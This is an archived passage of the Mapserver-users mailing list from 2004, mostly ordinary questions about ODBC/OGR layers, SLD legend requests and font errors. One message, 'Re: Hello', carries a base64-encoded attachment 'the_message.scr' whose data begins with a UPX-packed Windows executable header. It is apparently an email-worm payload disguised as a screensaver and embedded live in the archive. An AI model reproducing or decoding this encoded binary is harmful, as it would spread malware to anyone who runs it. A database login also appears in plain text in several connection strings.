text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear=20 all,
 
I have try to edit my .map like this = :
 
LAYER
  NAME blocks
  = TYPE=20 POLYGON
  STATUS ON
  CONNECTIONTYPE OGR
  = CONNECTION=20 "ODBC:sa/kalpin at MSQL"
  DATA "SELECT * FROM TbBlock"
 =20 CLASS
    NAME 'BLOCKS'
    = OUTLINECOLOR 128=20 128 128
    COLOR 160 208 117
    = TEMPLATE=20 "blocks.html"
  END
  HEADER = "blocks_header.html"
 =20 FOOTER "blocks_footer.html"
  METADATA
    = WMS_TITLE=20 "Blocks region"
    WMS_ABSTRACT "Blocks region=20 shapefile."
    WMS_SRS "EPSG:26915"
 =20 END
END
 
But, I get error like below = :
 
msDrawMap():=20 Image handling error. Failed to draw layer named 'blocks'. =
msOGRFileOpen():=20 OGR error. Open failed for OGR connection `ODBC:sa/kalpin at MSQL'. File = not found=20 or unsupported format.

 
What must I do ?
 
 
 
Thank you
 
 
 
Kalpin Erlangga = Silaen
------=_NextPart_000_0076_01C44A3D.CDD5AE10-- From adams at terrestris.de Wed Jun 2 00:22:28 2004 From: adams at terrestris.de (Till Adams) Date: Wed, 02 Jun 2004 09:22:28 +0200 Subject: [Mapserver-users] SLd GetMap & GetLegendGraphic Message-ID: <40BD8034.2020000@terrestris.de> Dear list, first of all I apalogize for the cross-posting! Since a few days I'm playing around with the SLD-extension of the WMS spec. which is implemented in umn-ms version 4.2. I googled for a lot material (e.g. mails on the list, docs and so on) and get managed to handle the "GetMap"-Request with SLD's - it works fine. Special thanks to DM Solutions for their document "mapserver_SLD.pdf" and their online-demos!! This is really helpful! I also found that there is the function "generateSLD( ) : void" implemented in mapscript, which allows to write the SLD from a mapfile (I guess virtually in a browser?). Did anybody use this till now and can commit a piece of script? Secondly I also played around with the "GetLegendGraphic"-Request with lesser success. First of all, the GetLegendRequest requires a "LAYER=" instead of "LAYERS" in the GetMap request - Am I right with the assumption that the specification that only one layer can be queried? My main problem is getting "usable" legends back, because mapserver always gives just one icon for the last class and not one for each class defined in the SLD doc. Is this not foreseen or I am just doing wrong? I use the same SLD as for a multi-filter for the GetMap Request which works fine. My URL is like that: http://smart/cgi-bin/mapserv42?map=/var/www/mapserver/a.map&SERVICE=WMS&VeRsIoN=1.1.1&Request=GetLegendGraphic&LAYER=Grenze&FORMAT=image%2Fpng Does anyone has some hints or ideas which could help me or will share his/her experiences with me? Thanks in advance! Till -- NEU +++ NEU +++ NEU +++ NEU AveiN! ist Open Source Lizensiert unter der GNU GPL ----- Dipl. Geogr. Till Adams terrestris, Paulsen&Adams GbR Siemensstr. 8 * 53121 Bonn Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 info at terrestris.de * www.terrestris.de From bartvde at xs4all.nl Wed Jun 2 01:15:58 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 10:15:58 +0200 (CEST) Subject: [Mapserver-users] SLd GetMap & GetLegendGraphic In-Reply-To: <40BD8034.2020000@terrestris.de> References: <40BD8034.2020000@terrestris.de> Message-ID: <18322.212.238.227.182.1086164158.squirrel@webmail.xs4all.nl> Hi Till, Yes GetLegendGraphic can only be used on one layer (this is by spec and not specific for Mapserver). We will be doing some enhancements to the GetLegendGraphic operation in the near future, see the following bug for a discussion of this: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=653 Best regards, Bart > Dear list, > > first of all I apalogize for the cross-posting! > > Since a few days I'm playing around with the SLD-extension of the WMS > spec. which is implemented in umn-ms version 4.2. > > I googled for a lot material (e.g. mails on the list, docs and so on) > and get managed to handle the "GetMap"-Request with SLD's - it works fine. > > Special thanks to DM Solutions for their document "mapserver_SLD.pdf" > and their online-demos!! This is really helpful! > > I also found that there is the function "generateSLD( ) : void" > implemented in mapscript, which allows to write the SLD from a mapfile > (I guess virtually in a browser?). Did anybody use this till now and can > commit a piece of script? > > > Secondly I also played around with the "GetLegendGraphic"-Request with > lesser success. > > First of all, the GetLegendRequest requires a "LAYER=" instead of > "LAYERS" in the GetMap request - Am I right with the assumption that the > specification that only one layer can be queried? > > My main problem is getting "usable" legends back, because mapserver > always gives just one icon for the last class and not one for each class > defined in the SLD doc. Is this not foreseen or I am just doing wrong? I > use the same SLD as for a multi-filter for the GetMap Request which > works fine. > > My URL is like that: > http://smart/cgi-bin/mapserv42?map=/var/www/mapserver/a.map&SERVICE=WMS&VeRsIoN=1.1.1&Request=GetLegendGraphic&LAYER=Grenze&FORMAT=image%2Fpng > > Does anyone has some hints or ideas which could help me or will share > his/her experiences with me? > > > Thanks in advance! > > Till > -- > > NEU +++ NEU +++ NEU +++ NEU > > AveiN! ist Open Source > Lizensiert unter der GNU GPL > > ----- > > Dipl. Geogr. Till Adams > terrestris, Paulsen&Adams GbR > Siemensstr. 8 * 53121 Bonn > Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 > info at terrestris.de * www.terrestris.de > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Kalpin Fri Jun 4 01:38:40 2004 From: Kalpin (Kalpin) Date: Fri, 4 Jun 2004 15:38:40 +0700 Subject: [Mapserver-users] No Map Appear via ODBC References: <004a01c449fe$ea952420$3701010a@kalpin> Message-ID: <00a901c44a0f$56d0dcf0$3701010a@kalpin> This is a multi-part message in MIME format. ------=_NextPart_000_00A6_01C44A4A.02A17EB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear all, I created LAYER like this : LAYER NAME indo_wells TYPE POINT CONNECTIONTYPE OGR CONNECTION "ODBC:sa/kalpin at MSQL" DATA "SELECT * FROM TbWell" STATUS ON CLASS NAME 'WELLS' MAXSCALE 2000000 SYMBOL 'circle' OUTLINECOLOR 128 128 128 SIZE 10 TEMPLATE "indo_wells.html" END HEADER "indo_wells_header.html" FOOTER "indo_wells_footer.html" TOLERANCE 5 METADATA WMS_TITLE "Wells" WMS_ABSTRACT "Wells data for Indonesia region." WMS_SRS "EPSG:26915" END END=20 But, No map appear at my browser. I think I make mistake with SQL = command ? It's seem unsuccessfull query the data. I have table TbWell at my MSSQL. Anyone can help me please. Best regards, Kalpin Erlangga Silaen ------=_NextPart_000_00A6_01C44A4A.02A17EB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear all,
 
I created LAYER like this = :
 
LAYER
  NAME = indo_wells
  TYPE=20 POINT
  CONNECTIONTYPE OGR
  CONNECTION=20 "ODBC:sa/kalpin at MSQL"
  DATA "SELECT * FROM TbWell"
  = STATUS=20 ON
  CLASS
    NAME = 'WELLS'
   =20 MAXSCALE 2000000
    SYMBOL = 'circle'
   =20 OUTLINECOLOR 128 128 128
    SIZE = 10
   =20 TEMPLATE "indo_wells.html"
  END
  HEADER=20 "indo_wells_header.html"
  FOOTER = "indo_wells_footer.html"
 =20 TOLERANCE 5
  METADATA
    WMS_TITLE=20 "Wells"
    WMS_ABSTRACT "Wells data for Indonesia=20 region."
    WMS_SRS "EPSG:26915"
  END
END =
 
But, No map appear at my browser. I = think I make=20 mistake with SQL command ? It's seem unsuccessfull query the = data.
 
I have table TbWell at my = MSSQL.
 
 
Anyone can help me please.
 
 
 
Best regards,
 
 
 
Kalpin Erlangga = Silaen
------=_NextPart_000_00A6_01C44A4A.02A17EB0-- From wheintz at cer.ifn.fr Wed Jun 2 02:01:07 2004 From: wheintz at cer.ifn.fr (wilfried Heintz) Date: Wed, 02 Jun 2004 11:01:07 +0200 Subject: [Mapserver-users] Problem of configuration ? Message-ID: <6.0.1.1.0.20040602105114.01b60da0@smilax> --=====================_438906843==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hello, I'm using the MapServer 4.0 tutorial and I've got a problem in section 1 example 1.4 (example 1.1, 1.2 and 1.3 work well) The error message is msGetLabelSize(): TrueType Font error. Could not find/open font I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server (easyphp). Thanks for your help. wilfried _______________________________________________________ Wilfried Heintz Inventaire Forestier National - Cellule Evaluation de la Ressource Place des Arcades - Maurin BP 1001 34972 Lattes cedex Tel. +33 (0) 4 67 07 80 98 Fax. +33 (0) 4 67 07 80 91 > http://projet.sinpa.free.fr/ _______________________________________________________ --=====================_438906843==.ALT Content-Type: text/html; charset="us-ascii" Hello,
I'm using the MapServer 4.0 tutorial and I've got a problem in section 1 example 1.4 (example 1.1, 1.2 and 1.3 work well)
The error message is msGetLabelSize(): TrueType Font error. Could not find/open font
I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server (easyphp).
Thanks for your help.

  wilfried

_______________________________________________________

Wilfried Heintz
I
nventaire Forestier National - Cellule Evaluation de la Ressource
Place des Arcades - Maurin
BP 1001
34972 Lattes cedex
Tel. +33 (0) 4 67 07 80 98
Fax. +33 (0) 4 67 07 80 91
> http://projet.sinpa.free.fr/
_______________________________________________________
--=====================_438906843==.ALT-- From TMitchell at lignum.com Wed Jun 2 03:20:14 2004 From: TMitchell at lignum.com (TMitchell) Date: Wed, 02 Jun 2004 04:20:14 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------bmckjcupybmfxnitxoth Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------bmckjcupybmfxnitxoth Content-Type: application/octet-stream; name="the_message.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.scr" 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 